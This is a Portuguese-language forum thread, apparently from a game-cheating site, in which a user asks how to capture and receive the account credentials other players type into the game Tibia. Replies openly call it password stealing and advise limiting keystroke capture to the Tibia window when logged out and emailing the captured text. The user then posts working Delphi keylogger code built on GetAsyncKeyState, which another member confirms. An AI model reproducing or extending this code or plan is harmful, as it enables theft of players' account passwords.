Duvida [Capturar oque é digitado em um label de um programa ]

[jaumlokednoob 0]

Tipo, tem como capturar oque é digitado por exemplo na label "account " do tibia?

e salvar/enviar pra mim?

 

Como é o codigo?

[vctrop123 1]

Aí a idéia é fazer tipo um keylogger em que o texto ficará em um edit ou em um memo e enviar ele para o seu e-mail >>> Tutorial Para Enviar E-Mail <<< e sobre o keylogger se vc pesquisar um pouquinho no Google vc acha

 

Se Ajudei Agradeça!!!

[DragonBoss 9]

A galera fala na cara "quero ser um ladraozinho de senhas".

 

Enfim, não é impossivel fazer esse sistema, vc pode por pra que por exemplo... capte as teclas se o tibia estiver em foco e se o seu char estiver offline ( ou seja, a unica opção é a captação de teclas da senha, nada de conversas ), pra saber se o char esta off tem que ser o address de login e a constante pra ver se esta logado/off ( isso você acha na documentação da tibiaapi, tanto o address como as contantes),apos isso, mande ao seu email usando os codigos que tem no topico da quicklist de envio de emails....

 

obs: seria cara de pau você me pedir o link da tibiaapi tbm, que é super simples de achar, ae é só ir na area de constantes e addres... ;P

 

enfim, se você não manja de delphi, desiste do programa até aprender a programar, mas se manja ao menos o basico, usa a logica que te falei, assim como tecnicas de pesquisa.

 

flw, abraços

[vctrop123 1]

Mas Dragon, eu pensava que a tibia API só servia para VB dá um esclarecimento ai por favor!

[DragonBoss 9]

na verdade nao, dá pra usar no delphi tbm, mas ae é outro assunto...

 

TibiaAPI é open source, ou seja, você pode ter acesso a todos os address e constantes dela... assim, vc pode só pegar e usar no seu programa...

 

Quando tenho duvidas sobre address no tibia, consulto a source do TibiaAPI, lembrando que meu dragontools é totalmente sem API e feito em delphi =X

 

flw

[jaumlokednoob 0]

DragonBoss eu procurei pela webcheats e não axei tibia api para delphi.. |: poderia me passar não ? sou meio novato mais quero aprender sobre isso!

[Zaphey 2]

Bem, para fazer o 'ladrão de senhas' utilize o KL mas use mais ou menos assim:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

[jaumlokednoob 0]

Zaphey desculpe minha falta de conhecimento , mas if findwindow(nil, 'Janela do Tibia') > 0 then

begin

Timer1.Enabled := True

end

else

begin

Timer1.Enabled := False;

end;

 

este código ira ativar o timer, e desativer se n encontrar..

 

 

mas e o kl? ...

[Zaphey 2]

Coloque o código do KL no timer, eu dei um exemplo para funcionar apenas na janela do tibia, existe milhares de tutoriais de como criar um KL.

Procure no google

[jaumlokednoob 0]

procedure TForm1.Timer1Timer(Sender: TObject);

var

keyloop, KeyResult : Integer;

begin

keyloop := 0;

repeat

KeyResult := GetAsyncKeyState(keyloop);

if KeyResult = -32767 then

begin

case keyloop of

8: Coloca(' [bACKSPACE] ');

9: Coloca(' [TAB] ');

12: Coloca(' [ALT] ');

13: Coloca(' [ENTER] ');

16: Coloca(' [sHIFT] ');

17: Coloca(' [CONTROL] ');

18: Coloca(' [ALT] ');

20: Coloca(' [CAPS LOCK] ');

21: Coloca(' [PAGE UP] ');

27: Coloca(' [ESC] ');

33: Coloca(' [PAGE UP] ');

34: Coloca(' [PAGE DOWN] ');

35: Coloca(' [END] ');

36: Coloca(' [HOME] ');

37: Coloca(' [sETA ESQUERDA] ');

38: Coloca(' [sETA ACIMA] ');

39: Coloca(' [sETA DIREITA] ');

40: Coloca(' [sETA ABAIXO] ');

45: Coloca(' [iNSERT] ');

46: Coloca(' [DEL] ');

91: Coloca(' [WIN ESQUERDA] ');

92: Coloca(' [WIN DIREITA] ');

93: Coloca(' [MENU POP-UP] ');

96: Coloca('0');

97: Coloca('1');

98: Coloca('2');

99: Coloca('3');

100: Coloca('4');

101: Coloca('5');

102: Coloca('6');

103: Coloca('7');

104: Coloca('8');

105: Coloca('9');

106: Coloca(' [NUM *] ');

107: Coloca(' [NUM +] ');

109: Coloca(' [NUM -] ');

110: Coloca(' [NUM SEP. DECIMAL] ');

111: Coloca(' [NUM /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NUM LOCK] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca(' [APÓSTROFO] ');

193: Coloca('/');

194: Coloca(' [NUM PONTO] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (KeyLoop >= 65) and (keyloop <= 90) then

Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then

Coloca(Chr(keyloop));

//numpad keycodes

if (keyloop >= 96) and (keyloop <= 110) then

Coloca(Chr(keyloop));

end;

end; //case;

inc(keyloop);

until keyloop = 255;

end;

 

 

Ai eu deixo o timer enabled ... coloco o smpt... assim ? (:

[Zaphey 2]

Sim, e utilize o code que passei para apenas fica funcionando na janela do tibia.

 

Abraços!

[jaumlokednoob 0]

Vlw ! ja agradeci !

 

Zaphey não teria como você me passa seu msn ou algo do tipo? Estou com varias duvidas que em forum não axo a solução @:

 

o meu [email protected]

[Zaphey 2]

Desculpe, mas só passo msn para 'amigos,

crie um tópico que terei prazer em ajudar.

 

Abraços!

[V!$h&® 0]

Cara, vc tem que pegar o adress do account e do password e nao usar a dll do TibiaApi,

Abraços

[jaumlokednoob 0]

Como faço isso? Tibiaapi?

[vctrop123 1]

na verdade não vai pegar os address da account e password pq isso não existe e sim o address que verifica se tem algum char logado...

TibiaAPI: é um projeto OpenSource que contém vários address do tibia em seu código e pode ser utilizado na criação de bots com o Visual Basic

 

[Zaphey 2]

Atenção !

 

Este Tópico foi Ressuscitado.Olhe sempre a data do post anterior antes de comentar,

Leia as

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Tópico Fechado [x]